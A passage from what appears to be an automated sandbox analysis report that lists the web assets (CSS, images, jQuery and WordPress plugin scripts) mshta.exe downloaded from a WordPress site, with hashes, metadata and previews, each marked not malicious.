                                                              Preview:/* . * .Core Owl Carousel CSS File. *.v1.24. */../* clearfix */..owl-carousel .owl-wrapper:after {..content: ".";..display: block;..clear: both;..visibility: hidden;..line-height: 0;..height: 0;.}./* display none until init */..owl-carousel{..display: none;..position: relative;..width: 100%;..-ms-touch-action: pan-y;.}..owl-carousel .owl-wrapper{..display: none;..position: relative;..-webkit-transform: translate3d(0px, 0px, 0px);.}..owl-carousel .owl-wrapper-outer{..overflow: hidden;..position: relative;..width: 100%;.}..owl-carousel .owl-wrapper-outer.autoHeight{..-webkit-transition: height 500ms ease-in-out;..-moz-transition: height 500ms ease-in-out;..-ms-transition: height 500ms ease-in-out;..-o-transition: height 500ms ease-in-out;..transition: height 500ms ease-in-out;.}....owl-carousel .owl-item{..float: left;.}..owl-controls .owl-page,..owl-controls .owl-buttons div{..cursor: pointer;.}..owl-controls {..-webkit-user-select: none;..-khtml-user-select: none;..-moz-user-select: no

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\pt-br[1].png

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                              Category:downloaded
                                                              Size (bytes):687
                                                              Entropy (8bit):7.458759901857417
                                                              Encrypted:false
                                                              SSDEEP:12:6v/7m/6T/MxuT6GaUz0uUVijlYa3uTr/xgJawYZnWGLJfcqREdlec:b/67tZaV+YwuPBw0RLrqd8c
                                                              MD5:363DA7C647BE7AEFCF5505F4F89DC205
                                                              SHA1:469D6084D160034D024AF67B4D61C0EDE98CFBA6
                                                              SHA-256:F66C95E006D101DADB1678A583A35F52FBD20C7EB0CB05FF485019DBD0CE1D02
                                                              SHA-512:31551E0ED608813FCA4955BB3ECF3311BF096585FAF0BBF8FA04FEDFCAA54D85B1555D314C074645221417B865AF08C1D86F08670454DF12828A1C4DED220209
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
                                                              Preview:.PNG........IHDR................a....pHYs................ cHRM..z%..............u0...`..:....o._.F...5IDATx..KHTa......s.q.F.il*$E.I....iSd..,.ePF;w.....hW......&..%..............F.6...xx.x_!.d'#.Z.~}og,.........V%`:. .(.B.K.......:....-..$.#.(B.&.D...*...T!.....v..2.."....X..<M.....g...&..Nsh...v..U.0m.B.B.*...tt...=....UIwW.....j..$.#UL..@.(.&.p...tE.H.b...X..J...O.;...1.w}.a. ..[.-.E..S4...U.?*2:...ti.z....G)Lu%Cg....9.-.I...dA.r"..|#...udp..J.*_f~1.|....h.2.s...1.Ym.i...5....j.+W.ez&..d...'.~.d.S.&.7...Zcu.`..^.K.*..lgd>..1n]H....-..b$2!|5U|.M.0.8.,t$...k..r...F.u..qy0.B.V..9....6.hI.e%..#e.`pF.@Ws.!1..g...(..f......"...8.%vZ........>)......IEND.B`.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sbi-styles.min[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):16845
                                                              Entropy (8bit):4.927428585989144
                                                              Encrypted:false
                                                              SSDEEP:192:7MFuCes2ba6PZqwJPWeitF0faGG27acPpqiJXWYi1F+f8imVjFuXQT3XerQCTQW+:qFJXerQCFPKT/ob0JMSP
                                                              MD5:02BACBAD1E26F0B3D1772D4CF5A047DC
                                                              SHA1:89292741D360F7EB3319437CD32A80EA7B388941
                                                              SHA-256:DF15236D4098113E3479FC540A9BD1046CA6029F5508098E9C4245A0E12FAB05
                                                              SHA-512:4F2F5BD7AA47FAD34B3337ADA2F0C5411702A7046E6A65FDA97BB4E13EFFC05C30261C7EF27BECB4F5F0AC4E98F234B6EC81C900AAD7C12FD9D6FED844BB8A6D
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
                                                              Preview:#sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:a

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\tmstickup[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):2506
                                                              Entropy (8bit):4.979495337243772
                                                              Encrypted:false
                                                              SSDEEP:48:LXyO+4lW7dPr2StXZU/X2cQmoWUTp9XlUgpd2HuUBHrX:LXFLlWPXZKGrmwTO8quUtL
                                                              MD5:D75AE5B4F9859E20DABD5BA0E6959625
                                                              SHA1:B72540421BD54F42D92734D0A53D46273839811D
                                                              SHA-256:294E2CE69040E1C6B4574E88881619342EDA4D098C187E56317288CE7B0E6168
                                                              SHA-512:AA5239F962F9756781FE1907F3A7CE7A6FC4E92ED3D862B02460E69ADCDDE3DB98D82D6B3084BF096F32C966D258F561B81345620151A466B7BBC5B1EE982DBD
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
                                                              Preview:(function($){..$.fn.tmStickUp=function(options){....var getOptions = {....correctionSelector: $('.correctionSelector')...,.listenSelector: $('.listenSelector')...,.active: false...,.pseudo: true...}...$.extend(getOptions, options);....var...._this = $(this)...,._window = $(window)...,._document = $(document)...,.thisOffsetTop = 0...,.thisOuterHeight = 0...,.thisMarginTop = 0...,.thisPaddingTop = 0...,.documentScroll = 0...,.pseudoBlock...,.lastScrollValue = 0...,.scrollDir = ''...,.tmpScrolled...;....if (_this.length != 0) {....init();...}....function init(){....thisOffsetTop = parseInt(_this.offset().top);....thisMarginTop = parseInt(_this.css("margin-top"));....thisOuterHeight = parseInt(_this.outerHeight(true));.....if(getOptions.pseudo){.....$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);.....pseudoBlock = $('.pseudoStickyBlock');.....pseudoBlock.css({"position":"relative", "display":"block"});....}.....if(getOptions.active){.....addEventsFunction();....}...}//end in

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\warning[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:GIF image data, version 89a, 36 x 38
                                                              Category:dropped
                                                              Size (bytes):1062
                                                              Entropy (8bit):4.517838839626174
                                                              Encrypted:false
                                                              SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                              MD5:124A9E7B6976F7570134B7034EE28D2B
                                                              SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                              SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                              SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                              Malicious:false
                                                              Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wp-embed.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):1391
                                                              Entropy (8bit):5.13936657531626
                                                              Encrypted:false
                                                              SSDEEP:24:XUdqIoZ2zsben5WlLysyIOKI1mQqRhoj3v2rFEgRuLUMB9/RUCXXmC3+:XUyEsyKystOKumTsOrFEmu7Bl6CX2Q+
                                                              MD5:570AE0F3C201604926EA599D3D1F6C04
                                                              SHA1:2C29243A73660964D4712B969D2A15E27777BC14
                                                              SHA-256:5138D39633DC69FCD0ED7F33A5E38DC339123F682FA7F5242066879C2BBC8C9B
                                                              SHA-512:44583F156E95AA16D20ED8DB8421001D9B7257B56B4FFF1E0378760406B4D6EB2B1315D28AD4F3F489A7733814B2FB2DDDF8F28004DAAEEE8D9BF4EA22A2742E
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
                                                              Preview:!function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appV

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\arrow_down[1].png

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced
                                                              Category:downloaded
                                                              Size (bytes):208
                                                              Entropy (8bit):5.9194278840524825
                                                              Encrypted:false
                                                              SSDEEP:3:yionv//thPlgolljvrtxBlly43gqwkBDjW3PsFmzRgK3MkOl0tDlWyxtl22Wf4Fm:6v/lhP+4ZQynDi3U6GCMkdVx22W7dp
                                                              MD5:20A650477130C7C2C62C5647131F545B
                                                              SHA1:4615101FCC5DF1FAB3E7DD516D058E1052A8FCB2
                                                              SHA-256:068F35DD132804C7EFFCBCA65F9398D34351339ED2FA7B20EF5E9A6221E76516
                                                              SHA-512:9B5F312C3CE5E504DE7B2B1EE4BDF21F8A27E04329B2793E12F685D70E53D02CBB5E3094F83950573E814303900B77F099331DD4106FB534773D6D60736CA003
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
                                                              Preview:.PNG........IHDR.............[6......sBIT....|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.01/09/10......(IDAT..]....0..@....G..HUy........`.FM[......[..g....IEND.B`.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\bootstrap-grid.min[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):15140
                                                              Entropy (8bit):5.208958193254912
                                                              Encrypted:false
                                                              SSDEEP:384:R8xYxpW3Jzw4g0mCZuUwG8Su9uteW5GF1Eh:R8expW3JzwbCUUC3GGf2
                                                              MD5:C3AFA9C619C14F0C3B0CA0BB13F12BD9
                                                              SHA1:F3A2FE1CD8A2A51B7EBFE402D983DC7F16DBA5AA
                                                              SHA-256:DE56C5F70EA565FDC866ADE91C95AB84151F55E030F861B3509141B24FD54733
                                                              SHA-512:74B50CA4FC1D2EB7E6855036CEC9E86ECCA75BF8E05A965D5424B14551F4EC1969A3F94327E8042A48F2EF826D0F27166ACD1479D3105B814325708B4222FBB6
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8
                                                              Preview:.mp-row{margin-left:-20px;*zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class*="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{dis

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\bootstrap[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):107397
                                                              Entropy (8bit):5.243343101333427
                                                              Encrypted:false
                                                              SSDEEP:768:+coRowFmqeuii6OZLzAX+cSXgx7fLLgkhB5aErf:JoZ5vLPXgx7ngkjd
                                                              MD5:FE45C97743C9CAEC6809D9F740D52D3E
                                                              SHA1:CB69497E1935DE69862E92400478B75CD13E23BD
                                                              SHA-256:55225FFA7E115D65C7E0F7A602A59CF5EE1D2F3C873F88381375A550B1B6B548
                                                              SHA-512:9D36A695AD9DF51C63E820184DBD320D4B05700598F7CAC344C182F3D340FF20027C877BFA6F0FAE6EF717F236A6B5E4BF22286787B337D0F0B47F2BDD79693B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
                                                              Preview:article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }.audio, canvas, video {..display:inline-block;..*display:inline;..*zoom:1;.}.audio:not([controls]) { display:none; }.html {..font-size:100%;..-webkit-text-size-adjust:100%;..-ms-text-size-adjust:100%;.}.a:focus {..outline:thin dotted #333;..outline:5px auto -webkit-focus-ring-color;..outline-offset:-2px;.}.a:hover, a:active { outline:0; }.sub, sup {..position:relative;..font-size:75%;..line-height:0;..vertical-align:baseline;.}.sup { top:-0.5em; }.sub { bottom:-0.25em; }.img {..max-width:100%;..width:auto \9;..height:auto;..vertical-align:middle;..border:0;..-ms-interpolation-mode:bicubic;.}.#map_canvas img, .google-maps img { max-width:none; }.button, input, select, textarea {..margin:0;..font-size:100%;..vertical-align:middle;.}.button, input {..*overflow:visible;..line-height:normal;.}.button::-moz-focus-inner, input::-moz-focus-inner {..padding:0;..border:0;.}.button, html input[type

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\content_bg4[1].jpg

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2014:09:09 11:29:49], baseline, precision 8, 2208x1150, frames 3
                                                              Category:downloaded
                                                              Size (bytes):891583
                                                              Entropy (8bit):7.917669644382096
                                                              Encrypted:false
                                                              SSDEEP:24576:Q97s84R+LWUXF0xbeQBvylH8MyqDD08UiFod:Q97s83LWUXFZhuqDDZfm
                                                              MD5:68287B4A0457A01B4244FBB136D147B7
                                                              SHA1:8092DFB1D44BCFDEF01F85778D15B27FFDEF274B
                                                              SHA-256:16AA3453FC8DA749206989DA29E9EAD11FD86B52074E177151412F954072C290
                                                              SHA-512:84D2908196F325F7B4B801A6826D780E236328D219B1CE9ACC41C6AA342E0C12C6319E0A99C938F8EFA64B080402713B6E4FFD7C68F5B5D7938DE640FA07D028
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
                                                              Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2014:09:09 11:29:49........................................~...........................................&.(.................................L.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................S...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....f{BP..e`-T$.R..U.....$..>H.>..w......E........c....A. .......w.8.v...........-........cC@ua...._.0.......w.....O.g........1...H....$...>.nW..Sh.4....

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\error[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                              Category:downloaded
                                                              Size (bytes):1706
                                                              Entropy (8bit):5.274543201400288
                                                              Encrypted:false
                                                              SSDEEP:48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
                                                              MD5:B9BEC45642FF7A2588DC6CB4131EA833
                                                              SHA1:4D150A53276C9B72457AE35320187A3C45F2F021
                                                              SHA-256:B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
                                                              SHA-512:C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
                                                              Malicious:false
                                                              IE Cache URL:res://ieframe.dll/error.js
                                                              Preview:...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jplayer.playlist.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):8844
                                                              Entropy (8bit):5.1067637688011125
                                                              Encrypted:false
                                                              SSDEEP:96:dv+TrZD5ip1yplBpElBpqdpw2pu9pA2/U7F2SOZ9lKMBIfpxTb8CGK2jhsBdy8bp:d0BCIZWBgVkSDSmmhDIHK4wVYH4cUdb0
                                                              MD5:F05AC1D7BF95BA34B8BCB05D4455D2E6
                                                              SHA1:F27305CA2CBCCA78715683611FFF72DF3F1359CD
                                                              SHA-256:6D7D547D752E1999718DD64FD26DDEFA7EEDADBB11A6461248C520BEAF0D6022
                                                              SHA-512:C05432C613C91ABAB1BE1B564278400DEEAEDEDE50528A928CD9ADE047899FB4EE55D5843845D286450CA38EA440C00021CFD3F93873547D7F53BAF138096AF3
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
                                                              Preview:/*. * Playlist Object for the jPlayer Plugin. * http://www.jplayer.org. *. * Copyright (c) 2009 - 2013 Happyworm Ltd. * Dual licensed under the MIT and GPL licenses.. * - http://www.opensource.org/licenses/mit-license.php. * - http://www.gnu.org/copyleft/gpl.html. *. * Author: Mark J Panaghiston. * Version: 2.3.0. * Date: 20th April 2013. *. * Requires:. * - jQuery 1.7.0+. * - jPlayer 2.3.0+. */.(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";.this.cssSelector.next=this.cssSelector.cssSelectorAncestor+" .jp-next";this.cssSel

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery-1.7.2.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, UTF-8 Unicode text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):94840
                                                              Entropy (8bit):5.372946098601679
                                                              Encrypted:false
                                                              SSDEEP:1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
                                                              MD5:B8D64D0BC142B3F670CC0611B0AEBCAE
                                                              SHA1:ABCD2BA13348F178B17141B445BC99F1917D47AF
                                                              SHA-256:47B68DCE8CB6805AD5B3EA4D27AF92A241F4E29A5C12A274C852E4346A0500B4
                                                              SHA-512:A684ABBE37E8047C55C394366B012CC9AE5D682D29D340BC48A37BE1A549AECED72DE6408BEDFED776A14611E6F3374015B236FBF49422B2982EF18125FF47DC
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
                                                              Preview:/*! jQuery v1.7.2 jquery.com | jquery.org/license */.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTyp

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.easing.1.3[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):3300
                                                              Entropy (8bit):5.21640221299254
                                                              Encrypted:false
                                                              SSDEEP:96:daBwwfAxMF8qm9FUAm1Cal7yS06jfkOA/W50UdDiAAlZd:sO2AxMF8qm9Wdcal7yS06jfkOGW50Ud6
                                                              MD5:3720B3CCB887382D0716A49CC52D7901
                                                              SHA1:AEB99C65DFE7E6BA2931AFD762E53579FE372CCD
                                                              SHA-256:605B6FE57753665BD450CCC691B2B32EB508F05D8CB9BD3747D8F37C808990B1
                                                              SHA-512:B7F89F83B51132C5D66E59FEC1DA6793638360B6691151C54D9799E0B58FB2D9E722A48E3014520628EC0771C2BB9703CFE9676DADE5E9F9BA010C62701CCC44
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
                                                              Preview:jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b*(a/=d)*a+c},easeOutQuad:function(e,a,c,b,d){return-b*(a/=d)*(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a+c:-b/2*(--a*(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b*(a/=d)*a*a+c},easeOutCubic:function(e,a,c,b,d){return b*((a=a/d-1)*a*a+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a+c:.b/2*((a-=2)*a*a+2)+c},easeInQuart:function(e,a,c,b,d){return b*(a/=d)*a*a*a+c},easeOutQuart:function(e,a,c,b,d){return-b*((a=a/d-1)*a*a*a-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a+c:-b/2*((a-=2)*a*a*a-2)+c},easeInQuint:function(e,a,c,b,d){return b*(a/=d)*a*a*a*a+c},easeOutQuint:function(e,a,c,b,d){return b*((a=a/d-1)*a*a*a*a+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a*a+c:b/2*((a-=2)*a*a*a*a+2)+c}

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.elastislide[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):6240
                                                              Entropy (8bit):5.090536443525485
                                                              Encrypted:false
                                                              SSDEEP:96:zFWtrmc8bxAo69U8Rb93DCb/f+jrJ6Xj/vBQ61:LW3xgYMn/
                                                              MD5:EAC02BD7783EDAB0F1A0DBEBB32AA8A7
                                                              SHA1:D8D25DFF1DA53BE5A8D200D0BA59944C1FA7281D
                                                              SHA-256:DADD36769DECA1A3720B875DE9624093AE6623DAEBFC5A13061E129C61DFEA24
                                                              SHA-512:D1DD6D2F1CDB7EEEAA3396578038448A2337AB0EFACF884E624D459F1E9870A709C9A18D576327C62DEABB8363C643ED302E3CA4FAC3EAD2C7C82713E58F663B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1
                                                              Preview:(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),.0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide.prototype={_init:function

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.flexslider-min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):21638
                                                              Entropy (8bit):5.19976778726859
